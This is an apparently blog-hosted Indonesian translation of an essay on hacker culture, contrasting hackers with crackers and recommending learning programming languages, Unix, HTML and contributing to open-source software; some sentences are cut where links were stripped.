Satu-satunya reputasi yang akan Anda dapatkan jika melakukan hal-hal di
atas adalah sebagai orang dungu. Ingatan hacker biasanya bagus –
mungkin dibutuhkan bertahun-tahun lamanya sebelum Anda dapat diterima
untuk kata ‘hacker’, hampir semuanya berkaitan dengan kemahiran teknis
serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Namun
jika ingin /menjadi/ seorang hacker, hanya ada dua definisi yang relevan.
Ada sebuah komunitas, budaya, terdiri dari para programer mahir dan ahli
jaringan, yang sejarahnya bermula dari dekade minikomputer pertama yang
memiliki time-sharing dan zaman eksperimen awal ARPAnet. Dari anggota
budaya inilah muncul istilah ‘hacker’. Hackerlah yang membangun
internet. Hackerlah yang membuat sistem operasi Unix menjadi seperti
sekarang. Hackerlah yang mengoperasikan Usenet. Hacker yang membuat
World Wide Web berjalan. Jika Anda bagian dari budaya ini, jika Anda
telah menyumbangkan sesuatu untuk budaya ini, dan rekan lain di dalamnya
mengenali Anda sebagai seorang hacker, maka seorang hackerlah Anda.
Cara pikir hacker tidak terbatas pada budaya hacker software. Ada orang
yang menerapkan sikap hacker pada banyak bidang lain, elektronik atau
musik — bahkan, cara pikir hacker ada di tingkat tertinggi setiap
bidang ilmu dan seni. Hacker software mengakui semangat serupa ini dan
kadang menyebut orang-orang tersebut “hacker” pula — sebagian juga
berpendapat bahwa sifat seorang hacker tidak bergantung pada wadah
tempatnya bekerja. Tapi, untuk selanjutnya, kita akan memusatkan
perhatian pada software hacker, keahlian dan sikap mereka, serta tradisi
budaya bersama yang melahirkan istilah ?hacker?.
Terdapat pula sekelompok lain yang menyebut-nyebut diri hacker, padahal
bukan. Mereka-mereka ini (terutama terdiri dari remaja pria) mendapat
kepuasan lewat membobol komputer dan mengakali telepon (phreaking).
Hacker sejati menyebut orang-orang ini ‘cracker’ dan tidak suka bergaul
dengan mereka. Hacker sejati memandang cracker sebagai orang malas,
tidak bertanggung jawab, dan tidak terlalu cerdas. Hacker sejati tidak
setuju jika dikatakan bahwa dengan menerobos keamanan seseorang telah
menjadi hacker, sama seperti jika dikatakan bahwa mengontakkan mobil
membuat seseorang langsung menjadi ahli mesin. Sayangnya, wartawan dan
penulis telah salah kaprah dan menggunakan kata ‘hacker’ untuk
melukiskan cracker; sesuatu yang selalu membuat kesal para hacker sejati.
Perbedaan mendasar antara hacker dan cracker: hacker membangun, cracker
membongkar.
Jika Anda ingin menjadi hacker, lanjutkan membaca. Jika ingin menjadi
cracker, kunjungi newsgroup alt.2600
menghabiskan lima sampai sepuluh tahun di balik jeruji setelah
mengetahui bahwa Anda ternyata tidak sepandai yang Anda kira. Hanya itu
yang perlu dikatakan tentang cracker.
3. Sikap Hacker
Pekerjaan hacker menyelesaikan masalah dan membangun sesuatu, dan hacker
percaya pada kebebasan dan kerjasama sukarela. Agar dapat diterima
sebagai seorang hacker, Anda harus berbuat seolah-olah Anda memiliki
sikap ini. Dan agar dapat berbuat demikian, sikap ini harus benar-benar
diyakini.
Tapi kalau Anda berniat menumbuhkan sikap ini hanya agar dapat diterima
di lingkungan hacker, maka Anda belum menangkap maknanya. Menjadi orang
yang meyakini sikap hacker penting bagi /Anda sendiri/ — agar bisa
terus belajar dan termotivasi. Sama seperti semua seni kreatif lain,
cara paling efektif untuk menjadi seorang ahli adalah dengan meniru cara
berpikir ahli-ahli lainnya — bukan hanya secara intelektual tapi juga
emosional.
Seperti diungkapkan oleh sebuah sajak Zen modern di bawah:
Untuk mengikuti jalan:
pandanglah sang ahli,
ikuti sang ahli,
berjalan bersama sang ahli,
kenali sang ahili,
jadilah sang ahli.
Jadi, jika ingin menjadi hacker, ulangi pernyataan di bawah ini sampai
benar-benar Anda yakini:
3.1 Dunia penuh dengan persoalan-persoalan menarik yang menanti
untuk dipecahkan.
Menjadi seorang hacker sebetulnya menyenangkan, tapi ‘menyenangkan’ yang
menuntut usaha. Usaha ini membutuhkan motivasi. Atlet yang sukses
memperoleh motivasi dari kepuasan fisik saat tubuh mereka beraksi, saat
mendorong diri melampaui batasan fisik. Demikian juga, untuk menjadi
seorang hacker Anda harus merasa tertarik memecahkan persoalan, mengasah
keahlian, dan melatih kecerdasan.
Jika Anda merasa bukan seperti ini secara naluri, Anda harus berusaha
menjadi demikian jika ingin berhasil menjadi hacker. Jika tidak, energi
hacking Anda akan melemah karena perhatian teralihkan oleh seks, uang,
dan kedudukan.
(Anda pun harus mengembangkan keyakinan pada kapasitas belajar diri –
keyakinan bahwa meskipun yang Anda ketahui belum cukup untuk memecahkan
suatu persoalan, jika satu potongan saja dari persoalan Anda usaha
pecahkan, maka itu sudah cukup memberi pelajaran kepada Anda untuk
menyelesaikan potongan berikutnya — dan berikutnya, hingga semua
potongan terselesaikan.)
3.2 Tidak seharusnya masalah yang sama dipecahkan dua kali.
Otak yang kreatif merupakan sumber daya yang berharga dan terbatas.
Tidak seharusnya sumber daya ini diboroskan hanya untuk memikirkan
kembali suatu persoalan dari dasar; padahal ada begitu banyak masalah
menarik baru lain di dunia ini yang menanti.
Agar dapat bertingkah laku seperti hacker, Anda harus percaya bahwa
waktu berpikir hacker lain itu berharga — sebegitu berharganya hingga
merupakan suatu kewajiban moral bagi Anda untuk membagikan informasi,
menyelesaikan masalah lalu memberi jawabannya pada hacker lain supaya
mereka menyelesaikan masalah /baru/ dan tidak selamanya berkutat pada
masalah-masalah lama.
(Tidak harus berkeyakinan bahwa /semua/ produk kreatif Anda harus
direlakan bagi orang lain, meski hacker yang demikianlah yang paling
dihormati hacker lain. Menurut nilai-nilai hacker, jual saja sebagian
asal cukup untuk tetap makan, tetap dapat membayar sewa rumah, dan tetap
dapat memakai komputer. Tidak melanggar nilai hacker jika Anda
memanfaatkan ilmu Anda untuk membiayai keluarga atau bahkan memperkaya
diri, asalkan sambil melakukannya tetap setia pada disiplin ilmu dan
sesama hacker lain.)
3.3 Kebosanan dan pekerjaan membosankan itu jahat.
Hacker (dan manusia kreatif pada umumnya) tidak seharusnya dibosankan
dengan pekerjaan bodoh yang berulang-ulang, karena ini berarti mereka
tidak melakukan pekerjaan yang hanya bisa dilakukan oleh mereka –
menyelesaikan persoalan-persoalan baru. Pemborosan sumber daya ini
merugikan semua pihak. Karena itu kebosanan dan pekerjaan membosankan
bukan saja tidak menyenangkan tapi juga jahat.
Agar dapat bertingkah laku seperti hacker, Anda harus meyakini hal ini
sehingga Anda berkeinginan untuk mengotomasi sebanyak mungkin bagian
yang membosankan, bukan saja bagi diri sendiri tapi juga orang lain
(terutama sesama hacker).
(Ada satu kekecualian yang jelas. Hacker kadang melakukan pekerjaan yang
di mata orang lain tampaknya berulang-ulang atau membosankan; ini untuk
latihan menjernihkan pikiran, atau dalam rangka memperoleh keahlian atau
pengalaman yang tak bisa tidak harus diperoleh dengan cara demikian.
Tentu saja hal ini dilakukan atas dasar kehendaknya sendiri — setiap
orang yang mampu berpikir tidak seharusnya dipaksa menjadi bosan.)
3.4 Kebebasan itu baik.
Secara alamiah hacker itu anti-otoriter. Siapa pun yang dapat memerintah
Anda akan dapat menghentikan Anda untuk menyelesaikan persoalan yang
menarik — dan, sesuai pikiran otak para otoriter, pada umumnya akan
membuat alasan yang benar-benar bodoh untuk itu. Jadi sikap otoriter
harus dilawan di mana pun Anda berada, agar nantinya tidak menekan Anda
dan hacker-hacker lain.
(Tidak untuk disamakan dengan melawan setiap bentuk kekuasaan. Anak-anak
tetap harus dibimbing, para kriminal ditahan. Seorang hacker mungkin
akan tunduk pada bentuk-bentuk kekuasaan tertentu agar dapat memperoleh
sesuatu yang lebih dari waktu yang dibutuhkan untuk mengikuti peraturan.
Ini lebih merupakan tawar-menawar yang terbatas dan dilakukan secara
sadar; jenis tunduk diri yang diinginkan oleh orang-orang otoriter tentu
saja tidak bisa diterima.)
Para otoriter hidup di atas sensor dan kerahasiaan. Mereka tidak percaya
pada kerjasama dan berbagi informasi — satu-satunya jenis ‘kerja sama’
yang disukai adalah yang dapat mereka kendalikan. Jadi untuk berlaku
seperti seorang hacker, Anda perlu mengembangkan rasa benci pada
penyensoran, kerahasiaan, dan penggunaan kekerasan atau penipuan untuk
memaksakan kehendak pada orang dewasa. Dan Anda harus bersedia bertindak
atas dasar keyakinan ini.
3.5 Sikap saja tak ada artinya tanpa keahlian.
Untuk menjadi hacker, Anda perlu mengembangkan sebagian dari sikap-sikap
yang telah disebutkan. Tapi memiliki sikap saja belum membuat seseorang
menjadi hacker, atau atlet juara atau bintang rock. Untuk menjadi hacker
dibutuhkan kecerdasan, latihan, dedikasi, dan kerja keras.
Jadi, Anda perlu belajar untuk tidak mempercayai sikap saja dan
menghormati setiap bentuk kemampuan. Hacker tidak bersedia menghabiskan
waktu dengan orang-orang yang hanya bersikap seperti hacker, tapi hacker
memuja keahlian — terutama keahlian dalam hacking, tapi juga keahlian
di bidang apapun. Yang terlebih bagus lagi yaitu keahlian dalam bidang
yang sulit dan hanya dapat dikuasai oleh sedikit orang, dan yang terbaik
adalah keahlian dalam bidang yang sulit dan melibatkan ketajaman mental,
keahlian, serta konsentrasi.
Bila Anda memuja keahlian, Anda akan merasa senang dalam meningkatkan
kemampuan diri — kerja keras dan dedikasi akan menjadi semacam
permainan yang mengasyikkan ketimbang pekerjaan membosankan. Dan hal ini
penting dalam proses menjadi hacker.
4. Kemampuan Hacking Dasar
Sikap hacker penting, tapi terlebih penting lagi keahlian. Sikap bukan
pengganti keahlian, dan ada seperangkat keahlian menggunakan perangkat
tool yang perlu Anda kuasai sebelum orang bahkan bisa berpikir memanggil
Anda hacker.
Perangkat tool ini perlahan-lahan memang berubah seiring teknologi yang
menciptakan keahlian baru dan membuat keahlian lama tidak berguna.
Misalnya, dulu keahlian pemrograman bahasa mesin termasuk, dan kemampuan
HTML belum dan hanya baru-baru ini saja. Yang jelas saat ini yang
termasuk adalah:
4.1 Pelajari pemrograman.
Ini tentunya merupakan keahlian hacking yang fundamental. Jika Anda
belum pernah belajar bahasa pemrograman mana pun, saya sarankan mulai
dengan Python
dengan baik, dan cukup mudah bagi pemula. Meski menjadi bahasa pertama,
bukan berarti Python hanya mainan; Python amat ampuh dan fleksibel dan
cocok untuk proyek-proyek besar. Saya menulis evaluasi terhadap Python
lebih mendetil. Tutorial Python bisa dilihat di situs web Python
Java juga bahasa yang baik untuk belajar pemrograman. Lebih sulit dari
Python, tapi menghasilkan kode yang lebih cepat dari Python. Menurut
saya Java amat bagus sebagai bahasa kedua.
Perlu diingat bahwa dengan satu dua bahasa pemrograman saja Anda tidak
akan mencapai tingkat keahlian seorang hacker, atau bahkan seorang
programer — Anda perlu belajar cara memandang pemrograman secara umum,
tidak bergantung pada satu bahasa mana pun. Untuk menjadi hacker sejati,
Anda perlu mencapai tahap di mana Anda dapat mempelajari bahasa baru
dalam beberapa hari, dengan menghubungkan apa yang ada di manual dengan
apa yang telah Anda ketahui. Hal ini berarti, Anda perlu mempelajari
beberapa bahasa yang jauh berbeda satu dengan yang lainnya.
Jika ingin serius dalam pemrograman, pada akhirnya Anda harus belajar C,
bahasa inti sistem operasi Unix. C++ terkait erat dengan C; jika tahu
yang satu, belajar yang lain tidak akan susah. Namun keduanya bukan
bahasa yang cocok untuk dipelajari pertama kali.
Bahasa lain yang juga penting untuk hacker antara lain Perl
Perl patut dipelajari untuk kebutuhan praktis; Perl dipakai secara amat
meluas untuk halaman web aktif dan untuk administrasi sistem, jadi
meskipun nantinya Anda tidak akan membuat program dalam Perl, Anda
sebaiknya belajar cara membaca Perl. LISP patut dipelajari karena akan
memberikan pengalaman ‘membuka pikiran’ jika Anda telah menangkapnya;
dengan mempelajari LISP, Anda akan menjadi seorang programer yang lebih
baik, meskipun dalam kenyataan Anda akan jarang memakainya.
Paling baik sebetulnya mempelajari semuanya (Python, Java, C/C++, Perl,
dan LISP). Selain merupakan bahasa-bahasa terpenting dalam hacking,
masing-masing mewakili cara pendekatan pemrograman yang berbeda, dan
tiap bahasa akan memberi Anda pelajaran-pelajaran berharga.
Tentu saja, di sini tidak mungkin saya memberi petunjuk lengkap cara
memrogram — pemrograman merupakan keahlian yang kompleks. Tapi, satu
petunjuk yang saya berikan: buku dan kursus saja tidak akan membuat Anda
menjadi seorang programer (banyak, mungkin hampir semua hacker terbaik
itu belajar mandiri). Anda akan menjadi programer dengan (a) /membaca
kode/ dan (b) /menulis kode/.
Belajar membuat program adalah seperti belajar menulis dalam bahasa
alamiah. Cara terbaik untuk melakukannya dengan membaca tulisan yang
dibuat oleh para ahlinya, membuat tulisan sendiri sedikit, membaca lebih
banyak lagi, menulis lebih banyak, dan mengulanginya sampai di tulisan
Anda mulai terbentuk semacam kekuatan dan kemahiran penggunaan kata
seperti di tulisan-tulisan yang semula Anda teladani.
Dahulu sulit mencari kode yang baik untuk dibaca, karena dulu hanya
sedikit program-program besar yang terdapat dalam bentuk source untuk
bisa dibaca dan diutak-atik hacker-hacker pemula. Sekarang kondisinya
jauh berbeda: software open-source, tool pemrograman, dan sistem operasi
(semua dibuat oleh hacker) kini banyak terdapat. Dan ini mengantar kita
pada poin berikutnya?
4.2 Cari, pelajari, dan jalankan salah satu versi Unix open-source.
Saya anggap Anda memiliki, atau memperoleh akses ke komputer pribadi
(anak-anak sekarang mudah sekali mendapatkan akses :-)). Kalau ada satu
langkah terpenting bagi pemula untuk mendapatkan kemampuan hacker, itu
adalah mendapatkan satu salinan sistem operasi Linux atau salah satu
Unix BSD, meng-install-nya di komputer sendiri, dan menjalankannya.
(Tidak saya sarankan meng-install Linux sendirian jika Anda pemula. Cari
klub komputer atau kelompok pengguna Linux di daerah Anda dan mintalah
bantuan; atau hubungi Linux Internet Support Co-Operative
Tentu, di dunia ini ada banyak sistem operasi selain Unix. Tapi
sistem-sistem operasi tersebut didistribusikan dalam program jadi
(binary) — kodenya tidak bisa Anda baca, sehingga sistem operasi
tersebut tidak bisa Anda modifikasi. Belajar hacking di DOS atau Windows
atau MacOS adalah bagaikan belajar menari dengan seluruh tubuh digips.
Lagipula Unix-lah sistem operasi Internet. Meski tentu bisa belajar
menggunakan internet tanpa mengenal Unix, Anda tak akan mampu menjadi
hacker Internet tanpa memahami Unix. Untuk alasan inilah, budaya hacker
saat ini cukup cenderung berat ke Unix. (Ini tidak selalu benar,
beberapa hacker zaman dahulu tidak menyukai kenyataan ini, tapi
simbiosis antara Unix dan Internet telah menjadi kuat sehingga bahkan
otot Microsoft pun tak mampu membengkokkannya.)
Jadi, buatlah sistem Unix — saya pribadi menyukai Linux tapi tentu saja
ada yang lainnya (dan ya, Anda /bisa/ menjalankan Linux dan DOS/Windows
di mesin yang sama). Pelajari Unix. Jalankan Unix. Bermain-mainlah
dengan Unix. Berhubungan dengan internet melalui Unix. Baca kodenya.
Modifikasi. Di Unix Anda akan menjumpai tool pemrograman yang lebih baik
(termasuk C, Lisp, Python, dan Perl) ketimbang di sistem operasi
Microsoft manapun, Anda akan bersenang-senang, dan Anda akan mendapat
pengetahuan lebih dari yang Anda sadari sampai kemudian ketika mengenang
kembali Anda telah seorang hacker ahli.
Lebih jauh tentang mempelajari Unix, lihat The Loginataka
Untuk memperoleh Linux, lihat Where can I get Linux
Bantuan dan resource BSD Unix bisa Anda lihat di www.bsd.org
Saya menulis pengantar dasar Unix dan Internet
(Catatan: Saya tidak menganjurkan menginstal Linux atau BSD sendirian
jika Anda seorang pemula. Untuk Linux, carilah sebuah kelompok pengguna
lokal Linux [KPLI di Indonesia] dan mintalah bantuan mereka; atau
hubungi Open Projects Network
memaintain daftar IRC channel
yang bisa Anda datangi untuk memperoleh bantuan.)
4.3 Pelajari cara menggunakan World Wide Web dan cara menulis HTML.
Kebanyakan hasil budaya hacker bekerja di belakang layar tanpa diketahui
orang banyak, membantu mengoperasikan pabrik, kantor, dan universitas,
tanpa ada pengaruh yang jelas pada cara hidup para non-hacker. Web
adalah satu kekecualian, bahkan para politisi pun mengakui bahwa barang
mainan hacker yang besar dan berkilauan ini telah mengubah dunia. Untuk
satu alasan ini saja (dan juga banyak alasan bagus lainnya) Anda perlu
mempelajari cara pengoperasian Web.
Maksudnya lebih dari sekedar cara menggunakan browser (sebab kalau itu
siapa pun bisa), tapi mempelajari cara menulis HTML, bahasa markup Web.
Bila Anda belum menguasai pemrograman, lewat menulis HTML Anda akan
diajari beberapa kebiasaan mental yang akan membantu Anda belajar
pemrograman. Jadi, buatlah home page.
Hanya dengan membuat homepage tidak akan membuat Anda menjadi (bahkan
dekat pun tidak) seorang hacker. Web penuh dengan home page. Kebanyakan
hanyalah kotoran tanpa arti, tanpa isi — kotoran yang tampak indah,
tapi tetap kotoran (lebih jauh tentang ini, lihat The HTML Hell Page
Agar bermanfaat, halaman Anda harus mengandung /content/ — harus
menarik dan/atau berguna bagi hacker lain. Dan ini mengantar kita pada
bahasan berikutnya…
5. Status dalam Budaya Hacker
Seperti halnya dalam kebanyakan budaya lain tanpa ekonomi uang, dunia
hacker berjalan di atas reputasi. Anda berusaha menyelesaikan
persoalan-persoalan menarik, tapi seberapa menarik persoalan tersebut,
dan apakah solusi Anda benar-benar baik, merupakan sesuatu yang umumnya
hanya dapat dinilai oleh rekan sejawat atau atasan Anda.
Demikian juga, dalam permainan hacker, Anda menjaga nilai terutama lewat
pandangan hacker lain terhadap kemampuan Anda (inilah sebabnya Anda
belum benar-benar seorang hacker sampai hacker-hacker lain dengan
konsisten menyebut Anda seorang hacker). Kenyataan ini dikaburkan oleh
citra hacking sebagai pekerjaan menyendiri; juga oleh tabu budaya hacker
(yang kini perlahan-lahan menghilang namun masih tetap kuat) yang tidak
mengakui bahwa ego atau pengesahan dari luar berpengaruh pada motivasi
seseorang.
Tegasnya, dunia hacker merupakan apa yang disebut oleh para antropolog
sebagai /budaya memberi/. Kedudukan dan reputasi tidak diperoleh dengan
menguasai orang lain, atau dengan menjadi seseorang yang cantik, atau
dengan memiliki sesuatu yang tidak dimiliki orang lain, tapi dengan
memberikan sesuatu. Tepatnya, dengan memberikan waktu Anda, kreativitas,
dan hasil dari kemampuan Anda.
Pada dasarnya ada lima hal yang bisa dilakukan agar dihormati oleh hacker:
5.1 Menulis software open-source.
Yang pertama (yang paling inti dan paling tradisional) adalah menulis
program yang dipandang berguna atau mengasyikkan oleh hacker lain,
kemudian memberikan source programnya untuk digunakan oleh seluruh
budaya hacker.
(Dulu karya semacam ini disebut ’software bebas’ (free software), tapi
istilah ini memusingkan banyak orang karena mereka tidak tahu apa arti
tepat dari ‘free’. Sekarang banyak yang lebih menyukai istilah ’software
open-source
Para dewa^1 yang dipuja di dunia hacker yaitu mereka yang telah menulis
program besar yang berkemampuan tinggi dan dibutuhkan di mana-mana, lalu
memberikan program ini cuma-cuma, dan sekarang program itu telah dipakai
setiap orang.
5.2 Membantu menguji dan men-debug software open-source
Yang selanjutnya berjasa adalah mereka yang bertahan menggunakan dan
men-debug software open-source. Di dunia yang tak sempurna ini, tanpa
terhindarkan kita harus menghabiskan sebagian besar waktu pengembangan
software dalam tahap debugging. Karena itu setiap penulis software
open-source yang waras akan berpendapat bahwa penguji beta yang baik
(yang tahu bagaimana menjelaskan gejala masalah dengan jelas, bagaimana
melokalisir masalah, mampu mentolerir bug di rilis cepat, dan bersedia
menjalankan beberapa rutin diagnostik sederhana) itu amat sangat
berharga. Bahkan satu saja penguji beta sudah mampu membantu menjadikan
tahap debugging dari mimpi buruk panjang yang melelahkan menjadi hanya
gangguan yang justru menyehatkan.
Bila Anda seorang pemula, cobalah mencari program yang sedang dalam
tahap pengembangan, yang menarik bagi Anda, dan jadilah seorang penguji
beta yang baik. Dari sini Anda secara alamiah akan meningkat dari
membantu menguji program ke membantu memodifikasi program. Anda akan
belajar banyak, dan pada gilirannya nanti Anda pun akan memperoleh
bantuan dari orang lain saat membutuhkan.
5.3 Menerbitkan informasi yang bermanfaat.
Yang bagus juga untuk dilakukan yaitu mengumpulkan dan menyaring
informasi-informasi menarik dan berguna ke dalam halaman Web atau
dokumen seperti FAQ (Frequently Asked Questions — daftar jawaban
pertanyaan-pertanyaan yang sering diajukan orang), dan membuat
dokumen-dokumen ini mudah didapat orang.
Pemelihara FAQ teknis yang besar-besar juga mendapatkan hormat hampir
seperti para penulis software open-source.
5.4 Membantu terus berjalannya infrastruktur.
Budaya hacker (dan juga dalam hal ini pengembangan rekayasa Internet)
dijalankan oleh relawan. Banyak sekali pekerjaan yang dibutuhkan namun
bukan pekerjaan yang agung, yang harus dilakukan agar semuanya tetap
berjalan ? melakukan administrasi mailing list, moderasi newsgroup,
memelihara situs archive software yang besar, mengembangkan
dokumen-dokumen RFC serta standar teknis lainnya.
Mereka yang melakukan hal-hal seperti dengan baik juga dihormati, karena
orang tahu bahwa pekerjaan seperti ini menghabiskan banyak waktu dan
kalah mengasyikkan dibanding bermain dengan kode. Melakukan pekerjaan
seperti ini menunjukkan bahwa seseorang memiliki dedikasi.
5.5 Mengabdi kepada budaya hacker itu sendiri.
Terakhir, Anda dapat mengabdi dan menyebarluaskan budaya hacker (lewat,
misalnya, menulis panduan tepat bagi pemula tentang cara menjadi seorang
hacker :-)). Anda tidak bisa melakukan hal ini kecuali telah
berkecimpung cukup lama dan menjadi figur yang cukup terkenal di salah
satu dari empat hal sebelumnya.
Budaya hacker tidak persis memiliki pemimpin, tapi memiliki pahlawan,
tetua suku, sejarawan, dan para jubir. Jika Anda telah cukup lama berada
di ‘medan tempur’, Anda dapat saja memperoleh salah satu dari
jabatan-jabatan ini. Peringatan: hacker tidak mempercayai ego tetua suku
yang terlampau mencolok, jadi berbahaya jika Anda terlalu terlihat untuk
berusaha menjadi terkenal. Cara yang benar seharusnya yaitu dengan
memposisikan diri sedemikian rupa sehingga jabatan tersebut jelas telah
Anda capai, lalu kemudian bersikap rendah hati dan ramah sehubungan
dengan kedudukan Anda tersebut.
6. Hubungan Hacker/Orang Nyentrik^2
Bertentangan dengan mitos populer, tidak perlu menjadi orang nyentrik
untuk menjadi hacker. Meski itu sebetulnya membantu, dan pada
kenyataannya banyak hacker yang merupakan orang nyentrik. Menjadi orang
yang tersisih secara sosial membantu Anda tetap memusatkan perhatian
pada hal-hal yang benar-benar penting, seperti berpikir dan hacking.
Karena alasan ini, banyak hacker mengadopsi label ‘nerd’ dan bahkan
menggunakan istilah yang lebih kasar ‘geek’ sebagai lencana kebanggaan
– cara memproklamasikan kebebasan dari tuntutan sosial. Lihatlah The
Geek Page
menyeluruh.
Bila Anda tetap dapat memusatkan perhatian pada hacking sampai menjadi
cukup ahli dan tetap memiliki kegiatan sosial, itu sah-sah saja. Hal ini
memang lebih mudah dilakukan sekarang ketimbang waktu saya seorang
pemula di tahun 1970-an; budaya mainstream saat ini jauh lebih ramah
pada para techno-nerd. Malah kini semakin banyak orang yang menyadari
bahwa hacker kadang merupakan kekasih yang berkualitas dan calon
pasangan hidup potensial. Lebih lanjut tentang hal ini, lihat Girl’s
Guide to Geek Guys
Bila ketertarikan Anda pada hacking adalah karena Anda tidak mempunyai
kegiatan lain, itu juga tidak apa-apa — setidaknya tidak perlu
susah-susah memusatkan perhatian. Mudah-mudahan satu hari nanti Anda
akan memperoleh kehidupan sosial.
7. Panduan Gaya
Saya ulangi, untuk menjadi hacker, Anda perlu memasuki cara pikir
hacker. Hal-hal tertentu yang Anda lakukan saat jauh dari komputer
kadang membantu mencapainya. Tentu saja kegiatan-kegiatan ini bukan
sebagai pengganti hacking (tak ada yang dapat menggantikan hacking) tapi
banyak hacker melakukannya, dan merasa bahwa kegiatan tersebut secara
dasar berhubungan dengan intisari hacking.
* Membaca karya fiksi ilmiah. Datang ke pertemuan fiksi ilmiah
(salah satu jalan yang bagus untuk bertemu hacker dan proto-hacker).
* Mempelajari Zen, dan/atau berlatih bela diri. (Disiplin mental
yang diajarkan serupa dengan hacking dalam hal-hal penting.)
* Mengasah pendengaran musik. Belajar menghargai jenis-jenis musik
yang tidak lazim. Belajar menjadi ahli dalam bermain alat musik
tertentu, atau berlatih bernyanyi.
* Mengembangkan apresiasi akan permainan kata.
* Belajar menulis dalam bahasa asli (Sejumlah banyak hacker,
termasuk semua hacker terbaik yang saya kenal, adalah penulis yang
cakap).
Semakin banyak dari hal-hal di atas yang sudah Anda kerjakan, semakin
besar kemungkinan Anda adalah calon hacker berbakat. Kenapa hal-hal di
atas yang berhubungan dengan hacking tidak sepenuhnya jelas, tapi
semuanya berkaitan dengan gabungan kemampuan otak kiri dan kanan yang
penting (hacker harus dapat berpikir logis dan juga sewaktu-waktu harus
dapat melangkah keluar dari logika umum suatu permasalahan).
Terakhir, sebagian dari hal-hal yang /tidak/ sebaiknya dilakukan:
* Jangan menggunakan ID atau nama samaran yang konyol atau berlebihan.
* Jangan terlibat perang flame di Usenet (atau di mana pun).
* Jangan menggelari diri ‘cyberpunk’, jangan berurusan dengan para
‘cyberpunk’.
* Jangan mengirim posting atau email yang penuh salah ketik dan
bertata bahasa buruk.
Satu-satunya reputasi yang akan Anda dapatkan jika melakukan hal-hal di
atas adalah sebagai orang dungu. Ingatan hacker biasanya bagus –
mungkin dibutuhkan bertahun-tahun lamanya sebelum Anda dapat diterima
Langganan:
Postingan (Atom)